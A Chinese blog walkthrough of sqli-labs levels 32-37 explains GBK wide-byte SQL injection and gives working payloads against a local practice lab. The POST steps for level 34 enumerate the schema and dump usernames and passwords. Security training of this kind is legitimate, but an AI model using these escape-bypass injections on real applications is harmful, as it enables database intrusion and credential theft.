sqli-labs(32-37)
这六关都是关于宽字节注入的,分为GET
/POST
型,其实都一样,只不过POST
要用一下burp
原理
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数可以自定义,也可以用PHP自带函数)。
因此我们在此想办法将 ' 前面添加的\除掉,一般有两种思路:
1.%df吃掉\具体的原因是urlencode('\) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
2.将\'中的\过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
less-32
http://127.0.0.1/sqli-labs/Less-32/?id=-1%E6' union select 1,2,database() --+
less-33
http://127.0.0.1/sqli-labs/Less-33/?id=-1%E6' union select 1,2,database() --+
less-34
1、先判断闭合方式
(1)、输入uname=admin'&passwd=123456&submit=Submit
发现后台为单引号加了一个反斜杠来转义单引号。
(2)输入 uname=admin%aa'&passwd=123456&submit=Submit
根据错误回显和提示,可以判断闭合方式,并且构造出闭合语句uname=111%aa'#&passwd=111&submit=Submit
2、判断列数
(1)输入uname=admin%aa' order by 2#&passwd=aaaaaa&submit=Submit
正常显示。
(2)输入uname=admin%aa' order by 3#&passwd=aaaaaa&submit=Submit
报错,所以列数为两列
3、爆破
(1)查看显示位
uname=admin%aa' union select 1,2#&passwd=aaaaaa&submit=Submit
(2)爆库
uname=admin%aa' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=aaaaaa&submit=Submit
(3)爆表
uname=admin%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=aaaaaa&submit=Submit
(4)爆列
因为后台代码会转义单引号,所以在爆列语句中使用十六进制来表示表名
users的十六进制:0x7573657273 security的十六进制:0x7365637572697479
(5)爆数据
uname=admin%aa' union select group_concat(username),group_concat(password) from users#&passwd=aaaaaa&submit=Submit
less-35
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+
less-36
http://127.0.0.1/sqli-labs/Less-36/?id=-1%E6' union select 1,2,database()--+
less-37
和34关一样,不再赘述
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效